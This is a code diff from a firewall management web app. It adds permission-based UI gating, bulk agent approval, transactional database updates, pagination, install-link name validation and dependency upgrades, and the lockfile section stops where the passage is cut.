import { getClaims, isAuthEnabled } from './auth'
/**
* Client-side RBAC gating. The backend remains authoritative; this only hides
* actions the current portal user cannot perform (fw:<section>:<read|write|admin>).
* When auth is disabled (dev) everything is allowed.
*/
export function can(permission: string): boolean {
if (!isAuthEnabled()) return true
const claims = getClaims()
if (!claims) return false
if (claims.is_admin) return true
return hasPermission(claims.permissions ?? [], permission)
}
export function useCan() {
return can
}
View File
Whitespace-only changes.
+6
View File
@@ -6,6 +6,10 @@ import {
isTokenValid,
redirectToPortalLogin,
} from '@/lib/auth'
import {
RouteErrorComponent,
RouteNotFoundComponent,
} from '@/components/route-error'
export type RouterContext = {
queryClient: QueryClient
@@ -22,4 +26,6 @@ export const Route = createRootRouteWithContext<RouterContext>()({
}
},
component: () => <Outlet />,
errorComponent: RouteErrorComponent,
notFoundComponent: RouteNotFoundComponent,
})
+45 -9
View File
@@ -47,6 +47,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
import { QueryState } from '@/components/query-state'
import { agentsQueryOptions, settingsQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
import { Button } from '@evofw/ui/components/button'
import {
@@ -97,6 +98,7 @@ function AgentsPage() {
const agentsQ = useQuery(agentsQueryOptions())
const settingsQ = useQuery(settingsQueryOptions())
const { copyToClipboard } = useCopyToClipboard()
const canWrite = useCan()('fw:agents:write')
const [createOpen, setCreateOpen] = useState(false)
const [deleteAgentId, setDeleteAgentId] = useState<string | null>(null)
const [filters, setFilters] = useState<Filter[]>([])
@@ -125,21 +127,46 @@ function AgentsPage() {
[navigate],
)
/** Optimistically patch the agents list; returns a rollback fn. */
const patchAgentsCache = useCallback(
(patch: (items: Agent[]) => Agent[]) => {
const prev = qc.getQueryData<{ items: Agent[] }>(['agents'])
if (prev) qc.setQueryData(['agents'], { items: patch(prev.items) })
return () => {
if (prev) qc.setQueryData(['agents'], prev)
}
},
[qc],
)
const approve = useMutation({
mutationFn: (id: string) =>
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
onMutate: (id) =>
patchAgentsCache((items) =>
items.map((a) => (a.id === id ? { ...a, status: 'approved' } : a)),
),
onSuccess: () => {
toast.success('Агент одобрен')
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _id, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const approveAllPending = useMutation({
mutationFn: async (ids: string[]) => {
await Promise.all(
ids.map((id) =>
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
mutationFn: (ids: string[]) =>
apiFetch('/api/v1/agents/approve-bulk', {
method: 'POST',
body: JSON.stringify({ agent_ids: ids }),
}),
onMutate: (ids) => {
const target = new Set(ids)
return patchAgentsCache((items) =>
items.map((a) =>
target.has(a.id) ? { ...a, status: 'approved' } : a,
),
)
},
@@ -147,12 +174,16 @@ function AgentsPage() {
toast.success('Все pending одобрены')
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _ids, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const removeAgent = useMutation({
mutationFn: (id: string) =>
apiFetch(`/api/v1/agents/${id}`, { method: 'DELETE' }),
onMutate: (id) => patchAgentsCache((items) => items.filter((a) => a.id !== id)),
onSuccess: (_data, id) => {
toast.success('Агент удалён')
setDeleteAgentId(null)
@@ -162,7 +193,10 @@ function AgentsPage() {
void qc.invalidateQueries({ queryKey: ['agents'] })
void qc.invalidateQueries({ queryKey: ['dashboard'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _id, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const items = agentsQ.data?.items ?? []
@@ -386,12 +420,12 @@ function AgentsPage() {
</ToggleGroup>
)
const addButton = (
const addButton = canWrite ? (
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Добавить агента
</Button>
)
) : null
return (
<PageShell>
@@ -422,6 +456,7 @@ function AgentsPage() {
>
Показать
</Button>
{canWrite ? (
<Button
size="sm"
disabled={
@@ -432,6 +467,7 @@ function AgentsPage() {
<Check data-icon="inline-start" />
Approve all
</Button>
) : null}
</div>
</FrameHeader>
</Frame>
+8 -4
View File
@@ -15,6 +15,7 @@ import {
import { ConfirmDialog } from '@/components/confirm-dialog'
import { listsQueryOptions, evobgpCommunitiesQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import {
Autocomplete,
AutocompleteContent,
@@ -67,6 +68,7 @@ const CREATE_SOURCE_ITEMS = [
function ListsPage() {
const navigate = useNavigate()
const qc = useQueryClient()
const canWrite = useCan()('fw:lists:write')
const [createOpen, setCreateOpen] = useState(false)
const [name, setName] = useState('')
const [source, setSource] = useState<CreateSource>('static')
@@ -199,10 +201,12 @@ function ListsPage() {
/>
Обновить
</Button>
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Создать
</Button>
{canWrite ? (
<Button size="sm" onClick={() => setCreateOpen(true)}>
<Plus data-icon="inline-start" />
Создать
</Button>
) : null}
</>
}
/>
+20 -20
View File
@@ -44,7 +44,7 @@ import {
import { DataGrid } from '@/components/reui/data-grid/data-grid'
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { getCoreRowModel, useReactTable } from '@tanstack/react-table'
import type { Agent } from '@evofw/shared'
import type { Agent, PolicySet } from '@evofw/shared'
import { Skeleton } from '@evofw/ui/components/skeleton'
import {
Frame,
@@ -107,33 +107,33 @@ function PolicySetDetailPage() {
method: 'PATCH',
body: JSON.stringify(body),
}),
onMutate: (body) => {
const key = ['policy-sets', setId] as const
const prev = qc.getQueryData<PolicySet & { agent_ids: string[] }>(key)
if (prev && body.enabled !== undefined) {
qc.setQueryData(key, { ...prev, enabled: body.enabled })
}
return () => {
if (prev) qc.setQueryData(key, prev)
}
},
onSuccess: () => {
toast.success('Набор обновлён')
void qc.invalidateQueries({ queryKey: ['policy-sets'] })
void qc.invalidateQueries({ queryKey: ['agents'] })
},
onError: (e: Error) => toast.error(e.message),
onError: (e: Error, _body, rollback) => {
rollback?.()
toast.error(e.message)
},
})
const saveAgents = useMutation({
mutationFn: async () => {
const allAgents = agentsQ.data?.items ?? []
await Promise.all(
allAgents.map(async (a) => {
const current = await apiFetch<{
items: { set_id: string }[]
}>(`/api/v1/agents/${a.id}/policy-sets`)
const others = current.items
.map((i) => i.set_id)
.filter((id) => id !== setId)
const next = assignedIds.includes(a.id) ? [...others, setId] : others
await apiFetch(`/api/v1/agents/${a.id}/policy-sets`, {
method: 'PUT',
body: JSON.stringify({ set_ids: next }),
})
}),
)
},
mutationFn: () =>
apiFetch(`/api/v1/policy-sets/${setId}/agents`, {
method: 'PUT',
body: JSON.stringify({ agent_ids: assignedIds }),
}),
onSuccess: () => {
toast.success('Назначение агентов сохранено')
setSelectedAgents(null)
+4 -2
View File
@@ -13,6 +13,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
import { PolicySetIcon } from '@/components/rules/policy-set-icon'
import { policySetsQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { Button } from '@evofw/ui/components/button'
import { Field, FieldLabel } from '@evofw/ui/components/field'
import { Input } from '@evofw/ui/components/input'
@@ -200,12 +201,13 @@ function PolicySetsPage() {
[navigate],
)
const addButton = (
const canCreate = useCan()('fw:policies:write')
const addButton = canCreate ? (
<Button size="sm" onClick={() => setSheetOpen(true)}>
<Plus data-icon="inline-start" />
Новый набор
</Button>
)
) : null
return (
<PageShell>
+21 -12
View File
@@ -1,7 +1,7 @@
import { createFileRoute } from '@tanstack/react-router'
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { toast } from 'sonner'
import { useEffect, useState } from 'react'
import { useEffect, useRef, useState } from 'react'
import { PageHeader, PageShell } from '@/components/reui-kit'
import {
Frame,
@@ -14,12 +14,12 @@ import { LoadingButton } from '@/components/loading-button'
import { SettingRow } from '@/components/setting-row'
import { settingsQueryOptions } from '@/queries'
import { apiFetch } from '@/lib/api'
import { useCan } from '@/lib/permissions'
import { Input } from '@evofw/ui/components/input'
import { Switch } from '@evofw/ui/components/switch'
/**
* Control plane settings — single page: PageShell + Frame + SettingRow.
* SettingsShell (reui-kit) — только при 2+ секциях.
* Preview: https://reui.io/preview/base/settings-16 · https://reui.io/preview/base/settings-3
*/
@@ -30,10 +30,16 @@ export const Route = createFileRoute('/_auth/settings')({
function SettingsPage() {
const qc = useQueryClient()
const settingsQ = useQuery(settingsQueryOptions())
const canSave = useCan()('fw:settings:admin')
const [form, setForm] = useState<Record<string, string>>({})
// Seed the form once — a background refetch must not wipe in-progress edits.
const initialized = useRef(false)
useEffect(() => {
if (settingsQ.data) setForm(settingsQ.data)
if (settingsQ.data && !initialized.current) {
initialized.current = true
setForm(settingsQ.data)
}
}, [settingsQ.data])
const save = useMutation({
@@ -129,15 +135,18 @@ function SettingsPage() {
</div>
</FramePanel>
</Frame>
<div className="flex justify-end">
<LoadingButton
onClick={() => save.mutate()}
isLoading={save.isPending}
loadingLabel="Сохранение…"
>
Сохранить
</LoadingButton>
</div>
{canSave ? (
<div className="flex justify-end">
<LoadingButton
onClick={() => save.mutate()}
isLoading={save.isPending}
disabled={!initialized.current}
loadingLabel="Сохранение…"
>
Сохранить
</LoadingButton>
</div>
) : null}
</PageShell>
)
}
+35 -1
View File
@@ -6,10 +6,44 @@ import { TanStackRouterVite } from '@tanstack/router-plugin/vite'
export default defineConfig({
plugins: [
TanStackRouterVite({ routesDirectory: './src/routes', target: 'react' }),
TanStackRouterVite({
routesDirectory: './src/routes',
target: 'react',
autoCodeSplitting: true,
}),
react(),
tailwindcss(),
],
build: {
rollupOptions: {
output: {
manualChunks(id) {
if (
/node_modules[\\/](recharts|victory-vendor|d3-[a-z-]+|react-smooth|recharts-scale)[\\/]/.test(
id,
)
) {
return 'charts'
}
if (/node_modules[\\/]@dnd-kit[\\/]/.test(id)) return 'dnd'
if (
/node_modules[\\/](react|react-dom|scheduler|clsx|tailwind-merge)[\\/]/.test(
id,
)
) {
return 'react'
}
if (/node_modules[\\/]@tanstack[\\/]react-router[\\/]/.test(id)) {
return 'router'
}
if (/node_modules[\\/]@tanstack[\\/]react-query[\\/]/.test(id)) {
return 'query'
}
return undefined
},
},
},
},
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
View File
Whitespace-only changes.
+63 -4
View File
@@ -43,9 +43,12 @@ paths:
summary: List install links
tags: [agents]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Links
description: Links (items + total)
post:
summary: Create install link + invited agent
tags: [agents]
@@ -70,9 +73,33 @@ paths:
summary: List agents
tags: [agents]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Agents
description: Agents (items + total)
/api/v1/agents/approve-bulk:
post:
summary: Approve many pending/invited agents in one request
tags: [agents]
security: [{ bearerAuth: [] }]
requestBody:
required: true
content:
application/json:
schema:
type: object
required: [agent_ids]
properties:
agent_ids:
type: array
maxItems: 1000
items: { type: string }
responses:
'200':
description: Approved agents (skips non-pending/invited)
/api/v1/agents/{id}:
get:
@@ -199,9 +226,12 @@ paths:
summary: List IP lists
tags: [lists]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Lists
description: Lists (items + total)
post:
summary: Create IP list
tags: [lists]
@@ -328,14 +358,33 @@ paths:
'200':
description: Reordered
/api/v1/policy-sets/{id}/agents:
put:
summary: Replace which agents have this set assigned
description: >-
Listed agents gain the set (other assignments preserved), unlisted
agents lose it. Body — { agent_ids: string[] } (empty array clears).
tags: [policies]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Id'
responses:
'200':
description: '{ agent_ids, added, removed }'
'404':
description: Set or agent not found
/api/v1/rules:
get:
summary: List policy rules (optional set filter)
tags: [policies]
security: [{ bearerAuth: [] }]
parameters:
- $ref: '#/components/parameters/Limit'
- $ref: '#/components/parameters/Offset'
responses:
'200':
description: Rules
description: Rules (items + total)
post:
summary: Create policy rule
tags: [policies]
@@ -787,6 +836,16 @@ components:
in: path
required: true
schema: { type: string }
Limit:
name: limit
in: query
schema: { type: integer, minimum: 1, maximum: 1000 }
description: Page size (without limit/offset the full list is returned)
Offset:
name: offset
in: query
schema: { type: integer, minimum: 0 }
description: Page offset (response includes total)
schemas:
AgentPortRule:
type: object
+3 -1
View File
@@ -2,7 +2,9 @@ import { defineConfig } from 'drizzle-kit'
export default defineConfig({
schema: './src/schema.ts',
out: './drizzle',
// Migration SQL files live here and are applied by the custom runner in
// src/client.ts (runMigrations); drizzle-kit generate adds new files to it.
out: './migrations',
dialect: 'sqlite',
dbCredentials: { url: 'data/app.db' },
})
+1
View File
@@ -12,6 +12,7 @@
}
},
"scripts": {
"typecheck": "tsc --noEmit",
"build": "tsup src/index.ts --format esm --dts",
"dev": "tsup src/index.ts --format esm --dts --watch",
"db:generate": "drizzle-kit generate",
+12
View File
@@ -14,6 +14,8 @@ export {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
} from './lists.js'
@@ -45,6 +47,7 @@ export {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -57,6 +60,7 @@ export {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
@@ -121,6 +125,8 @@ import {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
} from './lists.js'
@@ -151,6 +157,7 @@ import {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -162,6 +169,7 @@ import {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
@@ -216,6 +224,8 @@ export const repos = {
updateIpList,
deleteIpList,
listIpListEntries,
mapIpListEntriesByListIds,
mapIpListNames,
countEntriesByListIds,
replaceIpListEntries,
listPolicySets,
@@ -240,6 +250,7 @@ export const repos = {
deletePolicyRule,
listHostnameRules,
listResolvedForRule,
mapResolvedCidrsByRuleIds,
replaceResolvedForRule,
listOverrides,
insertOverride,
@@ -248,6 +259,7 @@ export const repos = {
listStatsSamples,
listRecentStats,
deleteStatsSamplesForAgent,
deleteStatsSamplesBefore,
upsertIpBlockStats,
listIpBlockStats,
deleteIpBlockStatsForAgent,
+43 -13
View File
@@ -39,6 +39,34 @@ export function listIpListEntries(db: Db, listId: string) {
.all()
}
/** Entries for many lists in one query (agent policy hot path). */
export function mapIpListEntriesByListIds(
db: Db,
listIds: string[],
): Map<string, string[]> {
const map = new Map<string, string[]>()
for (const id of listIds) map.set(id, [])
if (listIds.length === 0) return map
const rows = db
.select({ listId: ipListEntries.listId, cidr: ipListEntries.cidr })
.from(ipListEntries)
.where(inArray(ipListEntries.listId, listIds))
.all()
for (const r of rows) map.get(r.listId)?.push(r.cidr)
return map
}
/** List names for many ids in one query. */
export function mapIpListNames(db: Db, ids: string[]): Map<string, string> {
if (ids.length === 0) return new Map()
const rows = db
.select({ id: ipLists.id, name: ipLists.name })
.from(ipLists)
.where(inArray(ipLists.id, ids))
.all()
return new Map(rows.map((r) => [r.id, r.name]))
}
/** Entry counts for many lists in one query. */
export function countEntriesByListIds(
db: Db,
@@ -60,17 +88,19 @@ export function countEntriesByListIds(
}
export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) {
db.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
db.insert(ipListEntries)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
listId,
cidr,
createdAt: now,
})),
)
.run()
db.transaction((tx) => {
tx.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
tx.insert(ipListEntries)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
listId,
cidr,
createdAt: now,
})),
)
.run()
})
}
+60 -34
View File
@@ -170,11 +170,13 @@ export function setAgentPolicySets(db: Db, agentId: string, setIds: string[]) {
}
}
db.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
setIds.forEach((setId, i) => {
db.insert(agentPolicySets)
.values({ agentId, setId, sort: i * 10 })
.run()
db.transaction((tx) => {
tx.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
setIds.forEach((setId, i) => {
tx.insert(agentPolicySets)
.values({ agentId, setId, sort: i * 10 })
.run()
})
})
bumpAgentGeneration(db, agentId)
}
@@ -271,20 +273,22 @@ export function reorderPolicyRules(
throw new Error('ordered_ids must list every rule in the set exactly once')
}
// Temporary priorities to avoid UNIQUE collisions
orderedIds.forEach((id, i) => {
db.update(policyRules)
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
.where(eq(policyRules.id, id))
.run()
})
orderedIds.forEach((id, i) => {
db.update(policyRules)
.set({
priority: (i + 1) * 10,
updatedAt: new Date().toISOString(),
})
.where(eq(policyRules.id, id))
.run()
db.transaction((tx) => {
orderedIds.forEach((id, i) => {
tx.update(policyRules)
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
.where(eq(policyRules.id, id))
.run()
})
orderedIds.forEach((id, i) => {
tx.update(policyRules)
.set({
priority: (i + 1) * 10,
updatedAt: new Date().toISOString(),
})
.where(eq(policyRules.id, id))
.run()
})
})
}
@@ -315,22 +319,44 @@ export function listResolvedForRule(db: Db, ruleId: string) {
.all()
}
/** Resolved CIDRs for many hostname rules in one query. */
export function mapResolvedCidrsByRuleIds(
db: Db,
ruleIds: string[],
): Map<string, string[]> {
const map = new Map<string, string[]>()
for (const id of ruleIds) map.set(id, [])
if (ruleIds.length === 0) return map
const rows = db
.select({
ruleId: policyRuleResolved.ruleId,
cidr: policyRuleResolved.cidr,
})
.from(policyRuleResolved)
.where(inArray(policyRuleResolved.ruleId, ruleIds))
.all()
for (const r of rows) map.get(r.ruleId)?.push(r.cidr)
return map
}
export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) {
db.delete(policyRuleResolved)
.where(eq(policyRuleResolved.ruleId, ruleId))
.run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
db.insert(policyRuleResolved)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
ruleId,
cidr,
resolvedAt: now,
})),
)
.run()
db.transaction((tx) => {
tx.delete(policyRuleResolved)
.where(eq(policyRuleResolved.ruleId, ruleId))
.run()
if (cidrs.length === 0) return
const now = new Date().toISOString()
tx.insert(policyRuleResolved)
.values(
cidrs.map((cidr) => ({
id: crypto.randomUUID(),
ruleId,
cidr,
resolvedAt: now,
})),
)
.run()
})
}
export function listOverrides(db: Db, agentId: string) {
+13 -1
View File
@@ -1,4 +1,4 @@
import { and, eq, desc, sql, inArray } from 'drizzle-orm'
import { and, eq, desc, sql, inArray, lt } from 'drizzle-orm'
import type { Db } from '../client.js'
import {
agentIpBlockStats,
@@ -38,6 +38,18 @@ export function deleteStatsSamplesForAgent(db: Db, agentId: string) {
.run()
}
/**
* Retention: drop raw samples recorded before the cutoff ISO timestamp.
* Lifetime totals live on the agent row; per-IP/per-port aggregates are kept.
*/
export function deleteStatsSamplesBefore(db: Db, cutoffIso: string): number {
const result = db
.delete(agentStatsSamples)
.where(lt(agentStatsSamples.recordedAt, cutoffIso))
.run()
return result.changes
}
export type IpHitInput = { ip: string; packets: number }
/** Gap after which a new presence report counts as a re-hit (left EVOFW_HITS). */
+1
View File
@@ -12,6 +12,7 @@
}
},
"scripts": {
"typecheck": "tsc --noEmit",
"build": "tsup src/index.ts --format esm --dts",
"dev": "tsup src/index.ts --format esm --dts --watch",
"test": "vitest run --passWithNoTests"
+20 -1
View File
@@ -181,6 +181,11 @@ export const putAgentPolicySetsBodySchema = z.object({
set_ids: z.array(z.string()),
})
/** Shared body for bulk agent operations (approve-bulk, policy-set assignment). Empty array = clear assignment. */
export const agentIdsBodySchema = z.object({
agent_ids: z.array(z.string().min(1)).max(1000),
})
export const createOverrideBodySchema = z.object({
cidr: z.string().min(1),
action: policyActionSchema,
@@ -492,8 +497,22 @@ export const dashboardStatsSchema = z.object({
lists_total: z.number().int(),
})
/**
* Install-link client name. The name is embedded into generated bash /
* RouterOS install scripts, so it is limited to safe printable characters.
*/
export const installLinkNameSchema = z
.string()
.trim()
.min(1)
.max(64)
.regex(
/^[\p{L}\p{N}][\p{L}\p{N} .:_-]*$/u,
'Имя может содержать буквы, цифры и символы . : _ - (без перевода строк и кавычек)',
)
export const createInstallLinkBodySchema = z.object({
name: z.string().min(1),
name: installLinkNameSchema,
platform: agentPlatformSchema.optional().default('linux'),
})
Whitespace-only changes.
+14
View File
@@ -11,6 +11,20 @@ describe('permissionForRequest', () => {
)
})
it('maps agent stats endpoints to stats permission, not agents', () => {
expect(
permissionForRequest('GET', '/api/v1/agents/a1/stats'),
).toBe('fw:stats:read')
expect(
permissionForRequest('GET', '/api/v1/agents/a1/blocked-ips'),
).toBe('fw:stats:read')
// reset is destructive — stays under agents write
expect(
permissionForRequest('POST', '/api/v1/agents/a1/stats/reset'),
).toBe('fw:agents:write')
expect(permissionForRequest('GET', '/api/v1/agents')).toBe('fw:agents:read')
})
it('maps integrations to lists read / settings admin', () => {
expect(
permissionForRequest('GET', '/api/v1/integrations/evobgp/communities'),
+6
View File
@@ -29,6 +29,12 @@ export function permissionForRequest(
const m = method.toUpperCase()
const write = m !== 'GET' && m !== 'HEAD' && m !== 'OPTIONS'
// Agent statistics live under /agents/:id/… — classify as stats, not agents.
if (
/^\/api\/v1\/agents\/[^/]+\/(stats|blocked-ips|blocked-ports)$/.test(path)
) {
return 'fw:stats:read'
}
if (path.startsWith('/api/v1/agents') || path.startsWith('/api/v1/install-links')) {
return write ? 'fw:agents:write' : 'fw:agents:read'
}
+1 -1
View File
@@ -27,7 +27,7 @@
"lucide-react": "^0.468.0",
"next-themes": "^0.4.6",
"react-day-picker": "^9.4.0",
"recharts": "^2.15.0",
"recharts": "^3.8.0",
"sonner": "^1.7.0",
"tailwind-merge": "^3.0.0",
"tw-animate-css": "^1.0.0"
View File
Whitespace-only changes.
View File
Whitespace-only changes.
+2 -98
View File
@@ -296,8 +296,8 @@ importers:
specifier: ^19.0.0
version: 19.2.7(react@19.2.7)
recharts:
specifier: ^2.15.0
version: 2.15.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
specifier: ^3.8.0
version: 3.8.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react-is@18.3.1)(react@19.2.7)(redux@5.0.1)
sonner:
specifier: ^1.7.0
version: 1.7.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
@@ -2974,9 +2974,6 @@ packages:
resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}
engines: {node: '>=8'}
dom-helpers@5.2.1:
resolution: {integrity: sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==}
dompurify@3.4.13:
resolution: {integrity: sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==}
@@ -3195,9 +3192,6 @@ packages:
resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==}
engines: {node: '>=6'}
eventemitter3@4.0.7:
resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==}
eventemitter3@5.0.4:
resolution: {integrity: sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==}
@@ -3223,10 +3217,6 @@ packages:
fast-deep-equal@3.1.3:
resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}
fast-equals@5.4.1:
resolution: {integrity: sha512-DjlFSM5Pk9cGcL0q5QXl66eGzx0N6szNgaswwc5ZphlBohjTVJSnGgI+rJVOgOi65qUoQnDZN4nDqi33udtydQ==}
engines: {node: '>=6.0.0'}
fast-glob@3.3.3:
resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==}
engines: {node: '>=8.6.0'}
@@ -4628,12 +4618,6 @@ packages:
'@types/react':
optional: true
react-smooth@4.0.4:
resolution: {integrity: sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==}
peerDependencies:
react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
react-style-singleton@2.2.3:
resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==}
engines: {node: '>=10'}
@@ -4649,12 +4633,6 @@ packages:
peerDependencies:
react: ^18.0.0 || ^19.0.0
react-transition-group@4.4.5:
resolution: {integrity: sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==}
peerDependencies:
react: '>=16.6.0'
react-dom: '>=16.6.0'
react@19.2.7:
resolution: {integrity: sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ==}
engines: {node: '>=0.10.0'}
@@ -4701,17 +4679,6 @@ packages:
real-require@1.0.0:
resolution: {integrity: sha512-P4nbQYQfePJxRSmY+v/KINxVucm4NF3p3s7pJveMTtom52FR4YGltUQLB8idDXwDDWW+eYrWDFbuzUnjoWHF7g==}
recharts-scale@0.4.5:
resolution: {integrity: sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==}
recharts@2.15.4:
resolution: {integrity: sha512-UT/q6fwS3c1dHbXv2uFgYJ9BMFHu3fwnd7AYZaEQhXuYQ4hgsxLvsUXzGdKeZrW5xopzDCvuA2N41WJ88I7zIw==}
engines: {node: '>=14'}
deprecated: 1.x and 2.x branches are no longer active. Bump to Recharts v3 to receive latest features and bugfixes. See https://github.com/recharts/recharts/wiki/3.0-migration-guide
peerDependencies:
react: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
react-dom: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
recharts@3.8.0:
resolution: {integrity: sha512-Z/m38DX3L73ExO4Tpc9/iZWHmHnlzWG4njQbxsF5aSjwqmHNDDIm0rdEBArkwsBvR8U6EirlEHiQNYWCVh9sGQ==}
engines: {node: '>=18'}
@@ -5383,9 +5350,6 @@ packages:
resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==}
engines: {node: '>= 0.8'}
victory-vendor@36.9.2:
resolution: {integrity: sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==}
victory-vendor@37.3.6:
resolution: {integrity: sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==}
@@ -8069,11 +8033,6 @@ snapshots:
dependencies:
path-type: 4.0.0
dom-helpers@5.2.1:
dependencies:
'@babel/runtime': 7.29.7
csstype: 3.2.3
dompurify@3.4.13:
optionalDependencies:
'@types/trusted-types': 2.0.7
@@ -8288,8 +8247,6 @@ snapshots:
event-target-shim@5.0.1: {}
eventemitter3@4.0.7: {}
eventemitter3@5.0.4: {}
execa@8.0.1:
@@ -8327,8 +8284,6 @@ snapshots:
fast-deep-equal@3.1.3: {}
fast-equals@5.4.1: {}
fast-glob@3.3.3:
dependencies:
'@nodelib/fs.stat': 2.0.5
@@ -9566,14 +9521,6 @@ snapshots:
optionalDependencies:
'@types/react': 19.2.17
react-smooth@4.0.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
dependencies:
